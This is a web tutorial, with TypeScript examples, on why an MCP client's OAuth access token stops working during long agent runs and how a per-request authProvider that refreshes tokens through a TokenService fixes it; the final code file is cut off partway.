<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-does-a-token-that-worked-earlier-fail-now">Why does a token that worked earlier fail now?<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#why-does-a-token-that-worked-earlier-fail-now" class="hash-link" aria-label="Direct link to Why does a token that worked earlier fail now?" title="Direct link to Why does a token that worked earlier fail now?" translate="no">​</a></h2>
<p>The user signs in and the application passes an access token to the MCP client. The MCP server accepts the first few requests. Then the agent waits long enough for the token to expire:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Same server, same credential, different result</figcaption><ol class="steps_ptmz" aria-label="Same server, same credential, different result"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Tool call 1</span><span class="text_K99R code_IywH">POST /mcp<br>Authorization: Bearer access_token_1</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R code_IywH">200 OK</span></div></li><li class="item_fcGx pause_pVV3"><span class="pauseText_AMAQ">the agent waits for approval, calls other tools, does more work</span></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Tool call 2</span><span class="text_K99R code_IywH">POST /mcp<br>Authorization: Bearer access_token_1</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R code_IywH">401 Unauthorized</span></div></li></ol></figure>
<p>The second request uses the same token as the first. That's fine in a quick test, when both calls happen before expiry. It breaks in a longer run, where the agent may wait on an approval or spend time working with other tools.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-isnt-refreshing-the-token-enough">Why isn't refreshing the token enough?<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#why-isnt-refreshing-the-token-enough" class="hash-link" aria-label="Direct link to Why isn't refreshing the token enough?" title="Direct link to Why isn't refreshing the token enough?" translate="no">​</a></h2>
<p>The application can use its refresh token to get another access token from the authorization server. But even after a successful refresh, the next MCP call can still return <code>401</code>.</p>
<p>Here's a common way to construct an MCP transport:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  requestInit</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      Authorization</span><span class="token operator">:</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Bearer </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">session</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation" style="color:#15803D">accessToken</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p><code>${session.accessToken}</code> is evaluated when the transport is created. The resulting header doesn't change when <code>session.accessToken</code> changes.</p>
<p>The application can be holding a fresh token while the transport continues sending the old one:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">The refresh happens, but not where the request is</figcaption><ol class="steps_ptmz" aria-label="The refresh happens, but not where the request is"><li class="item_fcGx"><div class="columns_z60Q lanes_Nvhu"><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">Application</span><ol class="steps_ptmz" aria-label="Application"><li class="item_fcGx"><div class="box_IgAy muted_Xcva"><span class="text_K99R code_IywH">access_token_1 expires</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Refresh</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R code_IywH">access_token_2</span></div></li></ol></div><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">MCP client</span><ol class="steps_ptmz" aria-label="MCP client"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">Authorization: Bearer access_token_1</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Next tool call</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R code_IywH">401 Unauthorized</span></div></li></ol></div></div></li></ol></figure>
<p>The application has the new token, but the transport's header still contains the old one. Refreshing isn't enough when the MCP client never reads the refreshed value.</p>
<p>Instead, the transport needs to ask the application for a token when it's about to send a request. The agent can keep calling tools without handling OAuth itself.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-mcp-sdk-asks-for-a-token-before-every-request">The MCP SDK asks for a token before every request<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#the-mcp-sdk-asks-for-a-token-before-every-request" class="hash-link" aria-label="Direct link to The MCP SDK asks for a token before every request" title="Direct link to The MCP SDK asks for a token before every request" translate="no">​</a></h2>
<p>The fixed header failed because the token was read once, when the transport was created. What we want is the opposite: the transport asks for the token each time it sends a request.</p>
<p>The MCP TypeScript SDK supports this through the transport's <code>authProvider</code> option.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="start-with-one-method">Start with one method<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#start-with-one-method" class="hash-link" aria-label="Direct link to Start with one method" title="Direct link to Start with one method" translate="no">​</a></h3>
<p>The smallest <code>authProvider</code> has a single method, <code>token()</code>. The transport calls it before every request and puts whatever it returns in the <code>Authorization</code> header:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  authProvider</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">token</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> session</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">accessToken</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Compare this with the fixed header from earlier. The template string ran once. This function runs on every request, so it reads <code>session.accessToken</code> every time. When the application replaces the token, the next request picks up the new one.</p>
<p>The SDK calls this shape an <code>AuthProvider</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ask-for-a-specific-users-token">Ask for a specific user's token<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#ask-for-a-specific-users-token" class="hash-link" aria-label="Direct link to Ask for a specific user's token" title="Direct link to Ask for a specific user's token" translate="no">​</a></h3>
<p><code>session</code> in that example holds one user's token. A hosted application serves many users at once, and each of them has their own tokens.</p>
<p>So <code>token()</code> can't just read a variable. It has to answer a more specific question: <em>whose</em> token does this request need?</p>
<p>That means the provider needs two things:</p>
<ul>
<li class="">The user it's working for, so it knows whose token to ask for.</li>
<li class="">Somewhere to ask, which can look up that user's tokens and refresh them when they're about to expire.</li>
</ul>
<p>For the second, we'll use a <code>TokenService</code>. We'll build it in the next section. For now, it's enough to know it has a method called <code>getAccessToken(userId)</code>, which returns that user's current token.</p>
<p>With both in hand, we can write a function that builds a provider for one user:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">authProviderFor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  tokens</span><span class="token operator">:</span><span class="token plain"> TokenService</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> AuthProvider </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">token</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">getAccessToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Here's how it works:</p>
<ol>
<li class="">Your application calls <code>authProviderFor()</code> once, with the signed-in user's ID and the shared <code>TokenService</code>.</li>
<li class="">The function returns a provider whose <code>token()</code> remembers that user ID.</li>
<li class="">Before each MCP request, the transport calls <code>token()</code>, which asks <code>TokenService</code> for that user's current token.</li>
</ol>
<p>The provider never stores a token itself. It only knows which user it belongs to, so it always gets the latest token for that user.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="handle-a-token-the-server-rejects-anyway">Handle a token the server rejects anyway<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#handle-a-token-the-server-rejects-anyway" class="hash-link" aria-label="Direct link to Handle a token the server rejects anyway" title="Direct link to Handle a token the server rejects anyway" translate="no">​</a></h3>
<p><code>getAccessToken()</code> decides by the clock. It looks at when the token expires, and refreshes it if that time is close.</p>
<p>Most of the time, that's enough. But a token can stop working before its expiry time. For example:</p>
<ul>
<li class="">The authorization server revoked it early, for example because the user signed out everywhere.</li>
<li class="">The MCP server's clock runs slightly ahead of yours, so it treats the token as expired sooner than you do.</li>
</ul>
<p>The clock can't see either of those. The token looks fine, the request goes out, and the MCP server answers <code>401</code>.</p>
<p>For that case, <code>AuthProvider</code> has a second, optional method, <code>onUnauthorized()</code>. Add it next to <code>token()</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">token</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">getAccessToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">onUnauthorized</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">refresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Here's what happens when the server rejects a token:</p>
<ol>
<li class="">The transport sends the request, and the server answers <code>401</code>.</li>
<li class="">The transport calls <code>onUnauthorized()</code>, which asks <code>TokenService</code> to refresh the user's token, whatever its expiry time says.</li>
<li class="">The transport sends the same request again. Before it does, it calls <code>token()</code>, which now returns the refreshed token.</li>
</ol>
<p>The transport retries only once. If the refresh fails too, for example because the user's access was revoked, the error reaches your application. At that point, the user needs to sign in again.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="connect-a-client-for-one-user">Connect a client for one user<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#connect-a-client-for-one-user" class="hash-link" aria-label="Direct link to Connect a client for one user" title="Direct link to Connect a client for one user" translate="no">​</a></h3>
<p>We now have a provider for one user. The last piece is an MCP client that uses it.</p>
<p>If you built the client in <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client">Connecting an AI Agent to an OAuth-Protected MCP Server</a>, this part will look familiar. That client created its transport like this:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  authProvider</span><span class="token operator">:</span><span class="token plain"> provider</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>There, <code>provider</code> was the SDK's OAuth provider, which ran the whole sign-in flow and kept the tokens itself. The <a class="" href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#the-connection">LangGraph agent</a> reused that same connection code.</p>
<p>Here, the application already has the tokens, so we pass our own provider in the same option:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  authProvider</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">authProviderFor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Everything else about the client stays the same. We'll wrap it in a function called <code>connectAs()</code>, so the rest of the application can ask for "an MCP client for this user" in one call. Here's what it does:</p>
<ol>
<li class="">Creates an MCP client with the same <code>versionNegotiation</code> option as before.</li>
<li class="">Creates a transport with that user's provider.</li>
<li class="">Connects, and returns the client.</li>
</ol>
<p>Put both functions in one file. Create <code>mcp-auth.ts</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">mcp-auth.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  Client</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">AuthProvider</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/client'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> TokenService </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./token-service.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">authProviderFor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  tokens</span><span class="token operator">:</span><span class="token plain"> TokenService</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> AuthProvider </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// Runs before every MCP request.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">token</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">getAccessToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// Runs when the server answers 401. The transport then retries once.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">onUnauthorized</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">refresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">connectAs</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  tokens</span><span class="token operator">:</span><span class="token plain"> TokenService</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  serverUrl</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#C43300">URL</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Client</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'agent-app'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      versionNegotiation</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        mode</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'auto'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    authProvider</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">authProviderFor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> tokens</span><span 